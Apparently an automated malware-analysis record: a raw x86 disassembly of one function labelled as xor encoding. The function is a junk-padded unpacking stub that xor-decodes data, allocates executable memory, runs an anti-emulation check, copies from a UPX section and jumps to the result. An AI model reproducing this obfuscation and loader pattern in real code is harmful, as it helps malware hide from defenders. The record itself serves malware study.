Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x47e8c3ba
inc ebx
add ebx, ebx
popal
not ebx
and edx, edx
mov edi, 0
mov edx, eax
mov ebx, ecx
add ebx, ecx
and ebx, ecx
mov esi, edx
add ecx, ebx
or ebx, ecx
inc ecx
mov eax, esi
not ecx
add ecx, ecx
inc edi
add ebx, ecx
inc ebx
add ecx, 1
cmp edi, 0x1007bc7
jne 0xa789bf
mov ecx, 0xed5c8e75
and ecx, ecx
add ecx, 0x7983a5e
and ebx, ebx
and edx, edx
mov ecx, 0xa78796
add edx, 0xf07fd89
add edx, ebx
mov eax, 0xa7898a
dec esi
sub esi, ebx
add ebx, 0x715b68f5
mov edi, dword [ecx]
mov esi, 0x455526c
inc edx
mov edx, esi
and edi, 0xff
inc esi
not ebx
xor dword [eax], edi
add esi, 0x8ffa0025
and ebx, esi
mov ebx, esi
inc eax
or ebx, ebx
sub ebx, edx
inc ecx
add edx, 0x42a21fa6
add ebx, edx
not esi
cmp eax, entry0
jl 0xa78a16
not ebx
or edx, ebx
add esi, 1
add edx, esi
not esi
mov edi, 0x93a5541b
sub esi, 0x50716f45
mov edx, 0xa7898e
or esi, edi
or edi, ecx
sub esi, 0xed402ff2
mov edx, dword [edx]
inc esi
not ebx
and ecx, edi
mov edx, dword [edx]
add edi, 0x3e72d1af
and ebx, esi
and ebx, esi
push edx
mov ebx, esi
mov ecx, 0x669f466a
mov edx, 0xa7898a
mov ecx, 0x5c05c5aa
sub edi, 1
add esi, 0xe243e779
mov edx, dword [edx]
mov ecx, 0x109d4943
and ecx, esi
mov edi, ecx
mov edx, dword [edx]
sub edi, esi
inc edi
add esi, edi
sub esp, 4
mov dword [esp], 0xa78992
inc ebx
add ebx, ebx
not ecx
call edx
mov edi, ebx
and edi, edi
dec edi
pop edx
add ecx, 1
sub ebx, ecx
mov edi, esi
push 0xa7899f
or ecx, ebx
inc esi
sub ecx, 0xf129d1e5
push eax
and ecx, ebx
mov esi, 0x9e342538
call edx
mov ebx, 0x34362b46
sub ebx, 0xbd7409f2
sub esp, 4
mov dword [esp], 0x40
sub edi, ecx
dec ecx
sub esp, 4
mov dword [esp], 0x3000
add esi, 0x95c25a2a
mov edi, ecx
and esi, esi
push 0x2000007c
sub edi, ebx
add ecx, 1
add ebx, 0xf91c9490
push 0
sub esi, ebx
and ecx, ecx
sub ecx, 0xfe392bc8
call eax
or edi, ebx
dec ecx
add eax, 0x1ffffff5
sub esi, 0x60310ed1
inc edi
mov edx, 0x173def25
mov esi, 0x4695b9c2
and esi, ecx
mov dword [eax], edx
mov edi, ebx
add edi, ecx
mov edx, dword [eax]
or ecx, esi
or ebx, ebx
inc edi
cmp edx, 0x173def25
je 0xa78b7d
mov eax, 0
mov dword [eax], ebx
sub edi, 0x6b2d2983
add ecx, esi
add ebx, edi
inc ebx
not ebx
sub ebx, 0xf92a33c2
mov edx, ebx
mov esi, section.UPX1
not edx
mov edx, ebx
dec edx
mov ecx, 0xa78795
add edx, edx
sub edx, 0xb08ee036
not edx
mov edi, 0
mov edx, 0xa7fda419
sub edx, ebx
add ebx, edx
mov eax, 0xa78796
add edx, 1
sub ebx, 1
sub edx, 0xcb3057ea
lea eax, [eax + edi]
add edx, 0xabe2766c
not ebx
mov eax, dword [eax]
dec ebx
mov ebx, edx
mov ebx, 0x2e7847e
and eax, 0xff
or ebx, ebx
not ebx
add ebx, edx
add edi, 1
mov edx, ebx
dec edx
add ebx, 0x930ba733
cmp edi, 0x1f4
jne 0xa78c0d
mov edi, 0
add edx, ebx
mov ebx, edx
mov ebx, edx
or edx, edx
or ebx, edx
xor dword [esi], eax
inc edx
not edx
add esi, 2
add ebx, edx
or edx, ebx
cmp esi, ecx
jl 0xa78bb9
and edx, edx
dec edx
add edx, 0x61094299
mov edx, ebx
and ebx, edx
mov ebx, section.UPX1
mov ecx, 0xccda3ada
sub ecx, 0xba06f4a
mov edi, ecx
mov edx, section.UPX1
not edi
mov ecx, 0x5758e8c8
inc ecx
mov esi, 0xa78795
sub ecx, 0x4eb63d9e
inc ecx
inc edi
mov eax, 0
inc edi
dec ecx
add edi, 1
mov al, byte [edx]
sub edi, ecx
sub edi, 0x521dc16b
mov edi, 0xa238a4a6
mov byte [ebx], al
dec edi
inc edi
and ecx, ecx
inc ebx
dec ecx
mov edi, ecx
add edx, 2
and ecx, ecx
add edi, 0xe1ced458
mov edi, ecx
cmp edx, esi
jle 0xa78c74
or ecx, edi
add edi, 0x45f609c3
dec ecx
mov ebx, edx
sub ebx, edx
push 0x8dc6a0
sub edx, 0xe92d71c6
sub edx, ebx
ret